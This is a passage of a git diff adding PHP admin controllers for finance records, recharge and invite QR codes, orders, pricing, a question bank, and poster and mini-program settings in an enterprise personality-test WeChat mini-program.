Db::name('orders') + ->where('enterpriseId', $enterpriseId) + ->whereIn('status', ['paid', 'completed']) + ->whereIn('productType', ['face', 'mbti', 'disc', 'pdp']); + + $totalIncomeFen = (int) ((clone $baseOrderQuery)->sum('amount') ?? 0); + $todayIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $todayStart)->sum('amount') ?? 0); + $monthIncomeFen = (int) ((clone $baseOrderQuery)->where('payTime', '>=', $monthStart)->sum('amount') ?? 0); + $paidOrderCount = (int) ((clone $baseOrderQuery)->count()); + + $manualRechargeFen = (int) (Db::name('finance_records') + ->where('enterpriseId', $enterpriseId) + ->where('type', 'recharge') + ->whereNull('orderId') + ->sum('amount') ?? 0); + + $frozenCommissionFen = (int) (Db::name('commission_records') + ->where('enterpriseId', $enterpriseId) + ->where('status', 'frozen') + ->sum('commissionFen') ?? 0); + + return success([ + 'enterpriseId' => $enterpriseId, + 'enterpriseName' => $enterprise['name'] ?? '', + 'balanceFen' => (int) ($enterprise['balance'] ?? 0), + 'totalIncomeFen' => $totalIncomeFen, + 'todayIncomeFen' => $todayIncomeFen, + 'monthIncomeFen' => $monthIncomeFen, + 'manualRechargeFen' => $manualRechargeFen, + 'frozenCommissionFen' => $frozenCommissionFen, + 'paidOrderCount' => $paidOrderCount, + ]); + } catch (\Throwable $e) { + return error('获取企业财务概览失败:' . $e->getMessage(), 500); + } + } + + /** + * 财务流水 + */ + public function records() + { + $enterpriseId = $this->resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $page = max(1, (int) Request::param('page', 1)); + $pageSize = min(100, max(1, (int) Request::param('pageSize', 20))); + + $query = Db::name('finance_records') + ->where('enterpriseId', $enterpriseId) + ->order('createdAt', 'desc') + ->order('id', 'desc'); + + $total = (int) (clone $query)->count(); + $list = (clone $query) + ->page($page, $pageSize) + ->select() + ->toArray(); + + $result = array_map(function ($row) { + $type = (string) ($row['type'] ?? ''); + $orderId = isset($row['orderId']) ? (int) $row['orderId'] : 0; + $direction = $type === 'consume' ? 'out' : 'in'; + $description = (string) ($row['description'] ?? ''); + $typeLabel = $type === 'consume' + ? '佣金扣减' + : (strpos($description, '企业余额充值') !== false ? '余额充值' : ($orderId > 0 ? '测试收入' : '余额充值')); + + return [ + 'id' => (int) ($row['id'] ?? 0), + 'type' => $type, + 'typeLabel' => $typeLabel, + 'direction' => $direction, + 'amountFen' => (int) ($row['amount'] ?? 0), + 'balanceBeforeFen' => (int) ($row['balanceBefore'] ?? 0), + 'balanceAfterFen' => (int) ($row['balanceAfter'] ?? 0), + 'description' => $description, + 'orderId' => $orderId ?: null, + 'createdAt' => (int) ($row['createdAt'] ?? 0), + ]; + }, $list); + + return success([ + 'list' => $result, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + ]); + } catch (\Throwable $e) { + return error('获取财务流水失败:' . $e->getMessage(), 500); + } + } + + /** + * 企业手动充值 + */ + public function rechargeQrcode() + { + $enterpriseId = $this->resolveEnterpriseId(); + if (!$enterpriseId) { + return error('未获取到企业信息', 400); + } + + try { + $amountFen = (int) Request::param('amountFen', 0); + if ($amountFen <= 0) { + return error('充值金额必须大于 0', 400); + } + $enterprise = Db::name('enterprises') + ->where('id', $enterpriseId) + ->field('id, name') + ->find(); + if (!$enterprise) { + return error('企业不存在', 404); + } + + // scene 长度要尽量短,避免超过微信限制 + $scene = 'eid=' . $enterpriseId . '&a=' . $amountFen . '&r=1'; + $page = 'pages/recharge/index'; + $result = WechatService::getWxacodeUnlimited($scene, $page, 430); + if (isset($result['errcode'])) { + return error('获取充值小程序码失败:' . ($result['errmsg'] ?? ''), 500); + } + + $binary = $result['binary'] ?? ''; + if ($binary === '') { + return error('充值小程序码生成失败', 500); + } + + return success([ + 'enterpriseId' => $enterpriseId, + 'enterpriseName' => (string) ($enterprise['name'] ?? ''), + 'amountFen' => $amountFen, + 'amountYuan' => number_format($amountFen / 100, 2, '.', ''), + 'scene' => $scene, + 'page' => $page, + 'qrcode' => 'data:image/png;base64,' . base64_encode($binary), + ]); + } catch (\Throwable $e) { + return error('生成充值二维码失败:' . $e->getMessage(), 500); + } + } + + /** + * 解析当前管理账号所属企业 + */ + protected function resolveEnterpriseId(): ?int + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'] ?? '', ['admin', 'enterprise_admin'], true)) { + return null; + } + + $enterpriseId = (int) ($user['enterpriseId'] ?? 0); + if ($enterpriseId > 0) { + return $enterpriseId; + } + + $adminId = (int) ($user['userId'] ?? 0); + if ($adminId <= 0) { + return null; + } + + return (int) (Db::name('users')->where('id', $adminId)->value('enterpriseId') ?? 0) ?: null; + } +} diff --git a/api/app/controller/admin/Invite.php b/api/app/controller/admin/Invite.php new file mode 100644 index 0000000..cebb80a --- /dev/null +++ b/api/app/controller/admin/Invite.php @@ -0,0 +1,64 @@ +request->user ?? null; + if (!$admin || !in_array($admin['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $enterpriseId = null; + if (($admin['role'] ?? '') === 'enterprise_admin') { + $row = Db::name('users')->where('id', (int) ($admin['userId'] ?? 0))->find(); + $enterpriseId = isset($row['enterpriseId']) ? (int) $row['enterpriseId'] : null; + } else { + $enterpriseId = (int) $this->request->param('enterpriseId', 0); + if ($enterpriseId <= 0) { + return error('请指定企业(企业管理员无需传参,使用所属企业)', 400); + } + } + if ($enterpriseId <= 0) { + return error('无法确定企业,仅企业管理员或指定 enterpriseId 可生成邀请码', 400); + } + + // 场景值:e_企业ID,小程序 onLoad(options.scene) 可解析 + $scene = 'e_' . $enterpriseId; + $page = 'pages/enterprise/index'; + + $result = WechatService::getWxacodeUnlimited($scene, $page, 430); + if (isset($result['errcode'])) { + return error('获取小程序码失败:' . ($result['errmsg'] ?? ''), 500); + } + + $binary = $result['binary'] ?? ''; + if ($binary === '') { + return error('小程序码生成失败', 500); + } + + $base64 = 'data:image/png;base64,' . base64_encode($binary); + + return success([ + 'qrcode' => $base64, + 'scene' => $scene, + 'page' => $page, + ]); + } +} + diff --git a/api/app/controller/admin/Order.php b/api/app/controller/admin/Order.php new file mode 100644 index 0000000..69347eb --- /dev/null +++ b/api/app/controller/admin/Order.php @@ -0,0 +1,168 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + $status = trim(Request::param('status', '')); + $productType = trim(Request::param('productType', '')); + + // admin / enterprise_admin 均只能看本企业订单 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + $query = Db::name('orders'); + + if ($enterpriseId !== null) { + $query->where('enterpriseId', $enterpriseId); + } + if ($status !== '') { + $query->where('status', $status); + } + if ($productType !== '') { + $query->where('productType', $productType); + } + if ($keyword !== '') { + if (is_numeric($keyword)) { + $query->where(function ($q) use ($keyword) { + $q->whereLike('orderNo', '%' . $keyword . '%')->whereOr('userId', (int) $keyword); + }); + } else { + $userIdsMatch = Db::name('wechat_users')->where('nickname|phone', 'like', '%' . $keyword . '%')->column('id'); + $userIdsMatch = array_values(array_filter($userIdsMatch)); + $query->where(function ($q) use ($keyword, $userIdsMatch) { + $q->whereLike('orderNo', '%' . $keyword . '%'); + if (!empty($userIdsMatch)) { + $q->whereOr('userId', 'in', $userIdsMatch); + } + }); + } + } + + $query->order('createdAt', 'desc'); + $total = (int) (clone $query)->count(); + $list = (clone $query)->page($page, $pageSize)->select()->toArray(); + + $userIds = array_values(array_unique(array_filter(array_column($list, 'userId')))); + $usersMap = []; + if (!empty($userIds)) { + $users = Db::name('wechat_users') + ->where('id', 'in', $userIds) + ->field('id, nickname, phone') + ->select() + ->toArray(); + foreach ($users as $u) { + $usersMap[(int) $u['id']] = $u; + } + } + + $orderIds = array_column($list, 'id'); + $testsByOrder = []; + if (!empty($orderIds)) { + $tests = Db::name('test_results') + ->where('orderId', 'in', $orderIds) + ->field('id, orderId, userId, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as $t) { + $oid = (int) ($t['orderId'] ?? 0); + if ($oid <= 0) { + continue; + } + if (!isset($testsByOrder[$oid])) { + $testsByOrder[$oid] = []; + } + $raw = $t['resultData'] ?? ''; + $resultStr = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + $testsByOrder[$oid][] = [ + 'id' => (int) $t['id'], + 'testType' => $t['testType'] ?? '', + 'resultSummary' => $this->extractResultSummary($t['testType'] ?? '', $resultStr), + 'createdAt' => isset($t['createdAt']) ? (int) $t['createdAt'] : null, + ]; + } + } + + foreach ($list as &$row) { + $uid = (int) ($row['userId'] ?? 0); + $u = $usersMap[$uid] ?? null; + $row['userName'] = $u ? ($u['nickname'] ?? ('用户' . $uid)) : ('用户' . $uid); + $row['userPhone'] = $u ? ($u['phone'] ?? '') : ''; + $row['testData'] = $testsByOrder[$row['id']] ?? []; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 从 resultData 字符串中提取简要结果(用于列表展示) + */ + private function extractResultSummary(string $testType, string $resultStr): string + { + if ($resultStr === '') { + return '-'; + } + $data = json_decode($resultStr, true); + if (!is_array($data)) { + return mb_substr($resultStr, 0, 30) . (mb_strlen($resultStr) > 30 ? '…' : ''); + } + $type = strtolower($testType); + + if ($type === 'mbti') { + return (string) ($data['mbtiType'] ?? $data['type'] ?? $data['result'] ?? ''); + } + if ($type === 'disc') { + $desc = $data['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($data['dominantType'])) { + return (string) $data['dominantType'] . '型'; + } + return (string) ($data['disc'] ?? ''); + } + if ($type === 'pdp') { + $desc = $data['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($data['dominantType'])) { + return (string) $data['dominantType']; + } + return (string) ($data['pdp'] ?? ''); + } + if ($type === 'face' || $type === 'ai') { + return '人脸分析'; + } + + return (string) ($data['type'] ?? $data['result'] ?? ''); + } +} diff --git a/api/app/controller/admin/Pricing.php b/api/app/controller/admin/Pricing.php new file mode 100644 index 0000000..afffaf6 --- /dev/null +++ b/api/app/controller/admin/Pricing.php @@ -0,0 +1,185 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + $enterpriseId = $this->resolveEnterpriseId($user); + + // ── 个人版定价 ── + $adminPersonalConfig = $this->queryConfig('admin_personal', $enterpriseId); + $superPersonalConfig = PricingConfigModel::where('type', 'personal')->whereNull('enterpriseId')->find(); + $personalConfig = $adminPersonalConfig + ? $adminPersonalConfig->config + : ($superPersonalConfig ? $superPersonalConfig->config : []); + $isUsingSuperAdminPersonalConfig = !$adminPersonalConfig; + + // ── 企业版定价 ── + $adminEnterpriseConfig = $enterpriseId + ? $this->queryConfig('admin_enterprise', $enterpriseId) + : null; + $superEnterpriseConfig = PricingConfigModel::where('type', 'enterprise')->whereNull('enterpriseId')->find(); + $enterpriseConfig = $adminEnterpriseConfig + ? $adminEnterpriseConfig->config + : ($superEnterpriseConfig ? $superEnterpriseConfig->config : []); + $isUsingSuperAdminEnterpriseConfig = !$adminEnterpriseConfig; + + return success([ + 'personal' => $personalConfig, + 'enterprise' => $enterpriseConfig, + 'isUsingSuperAdminConfig' => $isUsingSuperAdminPersonalConfig, + 'isUsingSuperAdminPersonalConfig' => $isUsingSuperAdminPersonalConfig, + 'isUsingSuperAdminEnterpriseConfig' => $isUsingSuperAdminEnterpriseConfig, + ]); + } catch (\Exception $e) { + return error('获取定价配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 更新定价配置(个人版 + 企业版) + * PUT /api/v1/admin/pricing + * Body: { personalConfig: {...}, enterpriseConfig: {...} } + * 兼容旧格式:{ config: {...} } → 仅更新个人版 + */ + public function update() + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $rawBody = $this->request->getContent(); + if (empty($rawBody)) { + $rawBody = file_get_contents('php://input'); + } + $input = $rawBody ? json_decode($rawBody, true) : null; + if (!is_array($input)) { + $input = []; + } + + // 兼容旧版仅传 config 的情况 + $personalConfig = $input['personalConfig'] ?? $input['config'] ?? null; + $enterpriseConfig = $input['enterpriseConfig'] ?? null; + + if ($personalConfig === null && $enterpriseConfig === null) { + return error('配置数据不能为空', 400); + } + + try { + $enterpriseId = $this->resolveEnterpriseId($user); + + $result = []; + + // ── 保存个人版定价 ── + if ($personalConfig !== null) { + if (!is_array($personalConfig)) { + return error('个人版定价格式错误', 400); + } + foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { + if (!array_key_exists($field, $personalConfig)) { + return error("个人版定价缺少字段:{$field}", 400); + } + } + $cfg = $this->queryConfig('admin_personal', $enterpriseId); + if (!$cfg) { + $cfg = PricingConfigModel::create([ + 'type' => 'admin_personal', + 'enterpriseId' => $enterpriseId, + 'config' => $personalConfig, + ]); + } else { + $cfg->config = $personalConfig; + $cfg->save(); + } + $result['personal'] = $cfg->config; + } + + // ── 保存企业版定价(仅企业管理员)── + if ($enterpriseConfig !== null) { + if (!$enterpriseId) { + return error('仅企业管理员可设置企业版定价', 403); + } + if (!is_array($enterpriseConfig)) { + return error('企业版定价格式错误', 400); + } + foreach (['face', 'mbti', 'disc', 'pdp'] as $field) { + if (!array_key_exists($field, $enterpriseConfig)) { + return error("企业版定价缺少字段:{$field}", 400); + } + } + $cfg = $this->queryConfig('admin_enterprise', $enterpriseId); + if (!$cfg) { + $cfg = PricingConfigModel::create([ + 'type' => 'admin_enterprise', + 'enterpriseId' => $enterpriseId, + 'config' => $enterpriseConfig, + ]); + } else { + $cfg->config = $enterpriseConfig; + $cfg->save(); + } + $result['enterprise'] = $cfg->config; + } + + return success($result, '定价配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 从 JWT 用户信息中解析 enterpriseId + */ + private function resolveEnterpriseId(array $user): ?int + { + if (($user['role'] ?? '') !== 'enterprise_admin') { + return null; + } + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $eid = $adminRow['enterpriseId'] ?? null; + return $eid ? (int) $eid : null; + } + + /** + * 按 type + enterpriseId 查询定价配置 + */ + private function queryConfig(string $type, ?int $enterpriseId): ?PricingConfigModel + { + $q = PricingConfigModel::where('type', $type); + if ($enterpriseId) { + $q->where('enterpriseId', $enterpriseId); + } else { + $q->whereNull('enterpriseId'); + } + return $q->find(); + } +} diff --git a/api/app/controller/admin/Question.php b/api/app/controller/admin/Question.php new file mode 100644 index 0000000..068590d --- /dev/null +++ b/api/app/controller/admin/Question.php @@ -0,0 +1,457 @@ +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 确定企业ID + $enterpriseId = null; + if ($user['role'] === 'enterprise_admin') { + // 企业管理员:使用自己的企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + } elseif ($user['role'] === 'admin') { + // 普通管理员:可以查看所有企业的题库,但优先显示超管题库 + $enterpriseId = Request::param('enterpriseId', null); + } else { + return error('无权限访问', 403); + } + + $page = Request::param('page', 1); + $pageSize = Request::param('pageSize', 20); + $type = Request::param('type', ''); // mbti/disc/pdp + $status = Request::param('status', ''); // 1启用/0禁用 + + $where = []; + + // 如果指定了企业ID,优先查询企业题库 + // 如果没有企业题库,则查询超管题库(enterpriseId = NULL) + if ($enterpriseId !== null) { + // 先检查企业是否有自己的题库 + $enterpriseQuestionCount = QuestionModel::where('enterpriseId', $enterpriseId) + ->where('type', $type ?: ['mbti', 'disc', 'pdp']) + ->count(); + + if ($enterpriseQuestionCount > 0) { + // 使用企业题库 + $where['enterpriseId'] = $enterpriseId; + } else { + // 使用超管题库 + $where['enterpriseId'] = null; + } + } else { + // 普通管理员查看超管题库 + $where['enterpriseId'] = null; + } + + // 类型筛选 + if ($type) { + $where['type'] = $type; + } + + // 状态筛选 + if ($status !== '') { + $where['status'] = $status; + } + + // 查询题库列表 + $list = QuestionModel::where($where) + ->order('sort', 'asc') + ->order('id', 'asc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 处理 options 字段,确保返回数组格式 + foreach ($list as &$item) { + if (isset($item['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($item['options'])) { + $item['options'] = json_decode(json_encode($item['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($item['options']) && !isset($item['options'][0])) { + $item['options'] = array_values($item['options']); + } + } + } + unset($item); + + // 总数 + $total = QuestionModel::where($where)->count(); + + // 标识当前使用的是企业题库还是超管题库 + $isUsingSuperAdminBank = ($where['enterpriseId'] === null); + + return success([ + 'list' => $list, + 'total' => $total, + 'page' => $page, + 'pageSize' => $pageSize, + 'isUsingSuperAdminBank' => $isUsingSuperAdminBank, + 'enterpriseId' => $enterpriseId + ]); + } + + /** + * 获取题目详情 + * @param int $id + * @return \think\response\Json + */ + public function detail($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 确定企业ID + $enterpriseId = null; + if ($user['role'] === 'enterprise_admin') { + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + } elseif ($user['role'] === 'admin') { + $enterpriseId = Request::param('enterpriseId', null); + } else { + return error('无权限访问', 403); + } + + // 先查询企业题库,如果没有则查询超管题库 + $question = null; + if ($enterpriseId !== null) { + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + } + + if (!$question) { + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', null) + ->find(); + } + + if (!$question) { + return error('题目不存在', 404); + } + + $data = $question->toArray(); + + // 处理 options 字段,确保返回数组格式 + if (isset($data['options'])) { + // 如果是对象格式(stdClass),先转换为数组 + if (is_object($data['options'])) { + $data['options'] = json_decode(json_encode($data['options']), true); + } + // 如果是关联数组(不是索引数组),转换为索引数组 + if (is_array($data['options']) && !isset($data['options'][0])) { + $data['options'] = array_values($data['options']); + } + } + + return success($data); + } + + /** + * 创建题目(企业管理员只能创建自己企业的题目) + * @return \think\response\Json + */ + public function create() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以创建题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以创建题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证必填字段 + if (empty($data['type']) || empty($data['question']) || empty($data['options'])) { + return error('题目类型、题目内容和选项不能为空', 400); + } + + // 验证类型 + if (!in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (!is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if ($data['type'] === 'mbti' && empty($data['dimension'])) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 设置企业ID + $data['enterpriseId'] = $enterpriseId; + + // 设置默认值 + $data['sort'] = $data['sort'] ?? 0; + $data['status'] = $data['status'] ?? 1; + + // 创建题目 + $question = QuestionModel::create($data); + + return success($question->toArray(), '创建成功'); + } + + /** + * 更新题目(企业管理员只能更新自己企业的题目) + * @param int $id + * @return \think\response\Json + */ + public function update($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以更新题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以更新题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能更新自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限修改', 404); + } + + $data = Request::only(['type', 'question', 'options', 'dimension', 'sort', 'status']); + + // 验证类型 + if (isset($data['type']) && !in_array($data['type'], ['mbti', 'disc', 'pdp'])) { + return error('题目类型必须是 mbti、disc 或 pdp', 400); + } + + // 验证选项格式 + if (isset($data['options']) && !is_array($data['options'])) { + return error('选项必须是数组格式', 400); + } + + // MBTI类型需要dimension字段 + if (($data['type'] ?? $question->type) === 'mbti' && empty($data['dimension'] ?? $question->dimension)) { + return error('MBTI类型题目必须指定维度(EI/SN/TF/JP)', 400); + } + + // 更新题目 + $question->save($data); + + return success($question->toArray(), '更新成功'); + } + + /** + * 删除题目(软删除,企业管理员只能删除自己企业的题目) + * @param int $id + * @return \think\response\Json + */ + public function delete($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以删除题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以删除题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能删除自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限删除', 404); + } + + // 执行软删除 + $question->delete(); + + return success(null, '删除成功'); + } + + /** + * 批量导入题目(企业管理员) + * @return \think\response\Json + */ + public function batchImport() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以导入题目 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以导入题目', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + $questions = Request::param('questions', []); + + if (empty($questions) || !is_array($questions)) { + return error('题目数据不能为空', 400); + } + + $successCount = 0; + $failCount = 0; + $errors = []; + + Db::startTrans(); + try { + foreach ($questions as $index => $q) { + // 验证必填字段 + if (empty($q['type']) || empty($q['question']) || empty($q['options'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型、题目内容和选项不能为空"; + continue; + } + + // 验证类型 + if (!in_array($q['type'], ['mbti', 'disc', 'pdp'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:题目类型必须是 mbti、disc 或 pdp"; + continue; + } + + // MBTI类型需要dimension字段 + if ($q['type'] === 'mbti' && empty($q['dimension'])) { + $failCount++; + $errors[] = "第" . ($index + 1) . "题:MBTI类型题目必须指定维度"; + continue; + } + + // 设置企业ID + $q['enterpriseId'] = $enterpriseId; + $q['sort'] = $q['sort'] ?? ($index + 1); + $q['status'] = $q['status'] ?? 1; + + QuestionModel::create($q); + $successCount++; + } + + Db::commit(); + } catch (\Exception $e) { + Db::rollback(); + return error('批量导入失败:' . $e->getMessage(), 500); + } + + return success([ + 'successCount' => $successCount, + 'failCount' => $failCount, + 'errors' => $errors + ], "成功导入 {$successCount} 题,失败 {$failCount} 题"); + } + + /** + * 切换题目状态 + * @param int $id + * @return \think\response\Json + */ + public function toggleStatus($id) + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 只有企业管理员可以切换状态 + if ($user['role'] !== 'enterprise_admin') { + return error('只有企业管理员可以切换题目状态', 403); + } + + // 获取企业ID + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + $enterpriseId = $userModel['enterpriseId'] ?? null; + + if (!$enterpriseId) { + return error('企业信息不存在', 400); + } + + // 只能操作自己企业的题目 + $question = QuestionModel::where('id', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + + if (!$question) { + return error('题目不存在或无权限操作', 404); + } + + $question->status = $question->status == 1 ? 0 : 1; + $question->save(); + + return success($question->toArray(), '状态更新成功'); + } +} + diff --git a/api/app/controller/admin/Settings.php b/api/app/controller/admin/Settings.php new file mode 100644 index 0000000..4e0d9cd --- /dev/null +++ b/api/app/controller/admin/Settings.php @@ -0,0 +1,418 @@ +request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为管理员 + if (!in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + // 获取当前管理员用户名 + $jwtUsername = $user['username'] ?? null; + $username = 'admin'; + + if ($jwtUsername) { + $currentUser = UserModel::where('username', $jwtUsername) + ->whereIn('role', ['admin', 'enterprise_admin']) + ->find(); + if ($currentUser) { + $username = $currentUser->username; + } else { + $username = $jwtUsername; + } + } + + return success([ + 'username' => $username + ]); + } catch (\Exception $e) { + return error('获取配置失败:' . $e->getMessage(), 500); + } + } + + /** + * 获取可用字体列表 + * GET /api/v1/admin/settings/fonts + */ + public function getFonts() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + $fonts = \app\common\service\PosterService::getAvailableFonts(); + return success([ + 'fonts' => $fonts, + 'fontDir' => root_path() . 'public/fonts/', + 'dirExist' => is_dir(root_path() . 'public/fonts/'), + ]); + } + + /** + * 获取海报配置 + * GET /api/v1/admin/settings/poster + * 有 enterpriseId 则读企业专属行,否则读全局(enterprise_id=0) + */ + public function getPosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $eid = (int)($user['enterpriseId'] ?? 0); + $row = self::getConfig('poster_config', $eid); + $poster = $row ?: ['bgColor' => '#ffffff', 'bgImage' => '', 'elements' => []]; + return success(['poster' => $poster]); + } + + /** + * 保存海报配置 + * PUT /api/v1/admin/settings/poster + */ + public function updatePosterConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $input = json_decode($this->request->getContent(), true); + if (!is_array($input)) { + $input = []; + } + $data = [ + 'bgColor' => $input['bgColor'] ?? '#ffffff', + 'bgImage' => $input['bgImage'] ?? '', + 'elements' => $input['elements'] ?? [] + ]; + $eid = (int)($user['enterpriseId'] ?? 0); + + try { + self::saveConfig('poster_config', $data, $eid, '分销海报可视化配置'); + return success(null, '海报配置已保存'); + } catch (\Exception $e) { + return error('保存失败:' . $e->getMessage(), 500); + } + } + + /** + * 读取配置:key + enterprise_id,有企业专属则取,否则降级到 enterprise_id=0 + */ + private static function getConfig(string $key, int $enterpriseId = 0, bool $fallbackGlobal = false): ?array + { + $row = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($row && !empty($row['value'])) { + $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; + if (is_array($val)) return $val; + } + if ($fallbackGlobal && $enterpriseId > 0) { + $row = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', 0) + ->find(); + if ($row && !empty($row['value'])) { + $val = is_string($row['value']) ? json_decode($row['value'], true) : $row['value']; + if (is_array($val)) return $val; + } + } + return null; + } + + /** + * 保存配置:key + enterprise_id,存在则 update,否则 insert + */ + private static function saveConfig(string $key, array $value, int $enterpriseId = 0, string $description = ''): void + { + $now = time(); + $json = json_encode($value, JSON_UNESCAPED_UNICODE); + $exists = Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->find(); + if ($exists) { + Db::name('system_config') + ->where('key', $key) + ->where('enterprise_id', $enterpriseId) + ->update(['value' => $json, 'updatedAt' => $now]); + } else { + Db::name('system_config')->insert([ + 'key' => $key, + 'enterprise_id' => $enterpriseId, + 'value' => $json, + 'description' => $description, + 'createdAt' => $now, + 'updatedAt' => $now, + ]); + } + } + + /** + * 安全解码 JSON(处理可能的多重编码) + */ + private static function decodeJsonSafe($raw): ?array + { + if (!$raw) return null; + $val = $raw; + for ($i = 0; $i < 5 && is_string($val); $i++) { + $decoded = json_decode($val, true); + if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break; + $val = $decoded; + } + return is_array($val) ? $val : null; + } + + /** + * 获取小程序配置 + * 读取全局 text_config(enterprise_id=0)作为默认值,再用企业专属行覆盖 + * GET /api/v1/admin/settings/miniprogram + */ + public function getMiniprogramConfig() + { + $user = $this->request->user ?? null; + if (!$user || !in_array($user['role'], ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + try { + $eid = (int)($user['enterpriseId'] ?? 0); + + // 全局小程序名称(仅超管可改,此处只读) + $miniprogramName = '神仙团队AI性格测试'; + $siteInfo = Db::name('system_config') + ->where('key', 'site_info') + ->where('enterprise_id', 0) + ->find(); + if ($siteInfo && !empty($siteInfo['value'])) { + $val = is_string($siteInfo['value']) ? json_decode($siteInfo['value'], true) : $siteInfo['value']; + $miniprogramName = (string) ($val['miniprogramName'] ?? $val['siteName'] ?? $miniprogramName); + } + + $tcDefaults = [ + 'analyzingTitle' => '正在分析中', + 'startButtonText' => '开始面相测试', + 'startButtonEnterprise' => '开始面部测试', + 'reportTitle' => '分析报告', + 'aiAnalysisText' => '智能分析', + ]; + + // 全局文案(enterprise_id=0)作为基础 + $globalTc = self::getConfig('text_config', 0); + 